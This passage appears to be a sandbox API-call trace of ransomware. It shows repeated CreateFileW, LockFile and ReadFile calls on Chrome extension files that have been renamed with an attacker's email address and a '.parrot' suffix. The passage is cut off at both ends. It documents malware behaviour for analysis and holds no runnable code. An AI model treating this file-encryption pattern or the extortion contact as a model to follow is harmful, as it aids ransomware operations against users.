Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.470] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x218 [0094.470] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x330, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.470] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.470] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.471] CloseHandle (hObject=0x23c) returned 1 [0094.471] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.472] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.472] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.472] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.472] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.472] CloseHandle (hObject=0x23c) returned 1 [0094.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.473] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.473] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.473] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.473] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.474] CloseHandle (hObject=0x23c) returned 1 [0094.474] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.475] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.475] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.475] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.475] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.475] CloseHandle (hObject=0x23c) returned 1 [0094.475] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.476] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1e8 [0094.476] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x300, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.476] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.476] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.477] CloseHandle (hObject=0x23c) returned 1 [0094.477] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.477] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1e8 [0094.477] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x300, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.477] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.477] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.478] CloseHandle (hObject=0x23c) returned 1 [0094.478] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.478] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x288 [0094.478] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.478] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.478] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.479] CloseHandle (hObject=0x23c) returned 1 [0094.479] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.480] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x2c78 [0094.480] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d90, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.480] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.480] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.481] CloseHandle (hObject=0x23c) returned 1 [0094.481] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.481] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0xda8 [0094.481] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xec0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.481] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.481] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.482] CloseHandle (hObject=0x23c) returned 1 [0094.482] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.482] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1a8 [0094.482] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.482] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.482] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.483] CloseHandle (hObject=0x23c) returned 1 [0094.483] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.483] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x178 [0094.483] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x290, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.484] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.484] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.485] CloseHandle (hObject=0x23c) returned 1 [0094.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.485] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x178 [0094.485] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x290, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.485] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.485] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.486] CloseHandle (hObject=0x23c) returned 1 [0094.486] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.486] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x3f8 [0094.486] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x510, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.486] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.486] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.487] CloseHandle (hObject=0x23c) returned 1 [0094.487] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.487] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x238 [0094.487] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x350, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.488] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.488] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.488] CloseHandle (hObject=0x23c) returned 1 [0094.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.489] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x258 [0094.489] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x370, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.489] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.489] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.490] CloseHandle (hObject=0x23c) returned 1 [0094.490] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.490] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.490] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.490] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.490] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.491] CloseHandle (hObject=0x23c) returned 1 [0094.491] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.491] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.491] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.491] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.491] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.492] CloseHandle (hObject=0x23c) returned 1 [0094.492] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.493] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x218 [0094.493] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x330, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.493] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.493] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.493] CloseHandle (hObject=0x23c) returned 1 [0094.493] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.494] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.494] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.494] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.494] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, 